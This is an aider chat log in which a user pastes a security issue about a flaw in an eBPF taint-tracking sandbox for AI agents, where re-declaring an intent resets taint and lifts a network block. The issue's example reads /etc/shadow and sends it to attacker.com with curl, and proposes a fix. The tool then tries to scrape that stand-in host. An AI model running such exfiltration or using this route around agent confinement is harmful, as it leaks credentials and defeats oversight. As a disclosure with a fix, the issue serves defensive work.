
# aider chat started at 2026-05-19 10:03:02

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> /home/nevin/.local/bin/aider --model ollama_chat/qwen2.5-coder:14b --map-tokens 1024  
> Aider v0.86.2  
> Model: ollama_chat/qwen2.5-coder:14b with diff edit format  
> Git repo: .git with 94 files  
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#### hows project  
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> Retrying in 0.2 seconds...  

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#### hows rating of projects  

I'm ready to help you make changes to your project. Please provide me with specific requests or tasks you'd like to accomplish, and I'll identify which files are most likely to need changes based on those requests. Once you've added the relevant files to the chat, I can proceed with proposing the necessary *SEARCH/REPLACE* blocks.

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#### its under gssoc Security: Taint state not invalidated on intent re-declaration — enables Intent Replay Attack  
#### Summary  
####   
#### The IFC (Information Flow Control) taint system assigns taint elevation per-PID  
#### (TAINT_CLEAN → TAINT_CRITICAL) and the Network Slam is correctly one-way  
#### and irreversible within a single intent session. However, there is a  
#### fundamental design flaw: when an agent re-declares a new intent (calls  
#### DeclareIntent a second time on the same PID), the Cortex verifier issues a  
#### fresh policy — but never checks whether that PID already carries an elevated  
#### taint level.  
####   
#### This means the Network Slam guarantee advertised in the README is silently  
#### defeatable from user-space without any kernel exploit.  
#### Attack Flow (Intent Replay Attack)  
####   
#### # Step 1 — Legitimate intent  
#### stub.DeclareIntent(Intent(pid=os.getpid(), goal="download weather report"))  
####   
#### # Step 2 — Read a CRITICAL inode → taint elevated in eBPF map  
#### open("/etc/shadow", "r")   # lsm/file_open fires → TAINT_CRITICAL  
####   
#### # Step 3 — Network Slam is active, connect() returns -EPERM ✓  
####   
#### # Step 4 — Re-declare a NEW intent for the SAME PID  
#### stub.DeclareIntent(Intent(pid=os.getpid(), goal="check system uptime"))  
#### # ↑ Cortex calls UpdatePolicy → eBPF map entry is OVERWRITTEN  
#### # ↑ Taint field reset to TAINT_CLEAN silently  
####   
#### # Step 5 — Slam is now bypassed, exfiltration succeeds  
#### subprocess.run(["curl", "http://attacker.com", "--data", shadow_contents])  
####   
#### Root Cause  
####   
#### The architecture states:  
####   
####     "The Network Slam is irreversible for the lifetime of the process."  
####   
#### This holds at the eBPF level — the kernel map entry correctly blocks  
#### connections once taint is elevated. But it is silently defeated at the  
#### control-plane level: when the Go loader's UpdatePolicy call is triggered  
#### by a new DeclareIntent RPC, it performs a raw bpf_map_update_elem  
#### overwrite on the existing PID entry, resetting the taint field back to  
#### TAINT_CLEAN as part of the new policy struct.  
####   
#### The guardian.py Agent Registry holds no record of the maximum taint ever  
#### observed for a PID — it only tracks current registration state. There is no  
#### cross-check between Cortex and the eBPF loader before a policy update is  
#### applied.  
#### Affected Components  
#### Component 	File 	Role in Bug  
#### Agent Registry / Taint Manager 	cortex/guardian.py 	No per-PID taint tombstone  
#### gRPC Intent Handler 	cortex/verifier.py 	Does not reject re-declaration for tainted PIDs  
#### Go eBPF Loader 	telos_core/loader/main.go 	Blindly overwrites map entry without taint pre-check  
#### Kernel Enforcement 	telos_core/src/bpf_lsm.c 	Correct — but depends on map state being immutable  
#### Proposed Fix  
####   
#### 1. Add a taint tombstone in guardian.py:  
####   
#### _taint_tombstone: dict[int, TaintLevel] = {}  # pid → highest taint ever seen  
####   
#### def register_intent(self, pid: int, ...):  
####     prior_taint = self._taint_tombstone.get(pid, TaintLevel.CLEAN)  
####     if prior_taint >= TaintLevel.CRITICAL:  
####         raise PolicyViolation(  
####             f"PID {pid} has a CRITICAL taint tombstone — re-declaration denied"  
####         )  
####   
#### 2. Pre-check in the Go loader before UpdatePolicy:  
####   
#### existing, err := objs.ProcessMap.Lookup(pid)  
#### if err == nil && existing.TaintLevel >= TAINT_CRITICAL {  
####     return fmt.Errorf("refused: PID %d carries CRITICAL taint", pid)  
#### }  
####   
#### This makes taint a monotonically increasing, append-only property per PID  
#### across both the user-space control plane and the kernel enforcement plane.  
#### Why This Is Distinct From Existing Issues  
####   
#### This directly undermines the core security guarantee of Telos:  
####   
####     "Once taint is elevated to CRITICAL, the agent cannot make any network connections — this is by design."  
####   
#### That guarantee is only as strong as the control plane's ability to treat taint  
#### as immutable. Right now, it is not.  
####   
#### @nevinshine You can assign me this issue if this isnt fixed yet. I'd love to work on it.  
> cortex/guardian.py  
> Add file to the chat? (Y)es/(N)o/(A)ll/(S)kip all/(D)on't ask again [Yes]: n  
> cortex/verifier.py  
> Add file to the chat? (Y)es/(N)o/(A)ll/(S)kip all/(D)on't ask again [Yes]: n  
> telos_core/loader/main.go  
> Add file to the chat? (Y)es/(N)o/(A)ll/(S)kip all/(D)on't ask again [Yes]: n  
> telos_core/src/bpf_lsm.c  
> Add file to the chat? (Y)es/(N)o/(A)ll/(S)kip all/(D)on't ask again [Yes]: y  
> http://attacker.com  
> Add URL to the chat? (Y)es/(N)o/(D)on't ask again [Yes]: y  
> Scraping http://attacker.com...  
> For the best web scraping, install Playwright:

/home/nevin/.local/share/uv/tools/aider-chat/bin/python -m pip install --upgrade --upgrade-strategy only-if-needed aider-chat[playwright]
/home/nevin/.local/share/uv/tools/aider-chat/bin/python -m playwright install --with-deps chromium

See https://aider.chat/docs/install/optional.html#enable-playwright for more info.  
> Install playwright? (Y)es/(N)o [Yes]: n  
> Unable to initialize playwright.  
>  
>  
> ^C again to exit  
>  
>  
> ^C KeyboardInterrupt  

# aider chat started at 2026-05-19 23:34:55

> /home/nevin/.local/bin/aider --model ollama_chat/qwen2.5-coder:14b --map-tokens 1024  
> Aider v0.86.2  
> Model: ollama_chat/qwen2.5-coder:14b with diff edit format  
> Git repo: .git with 94 files  
> Repo-map: using 1024 tokens, auto refresh  

#### hi  
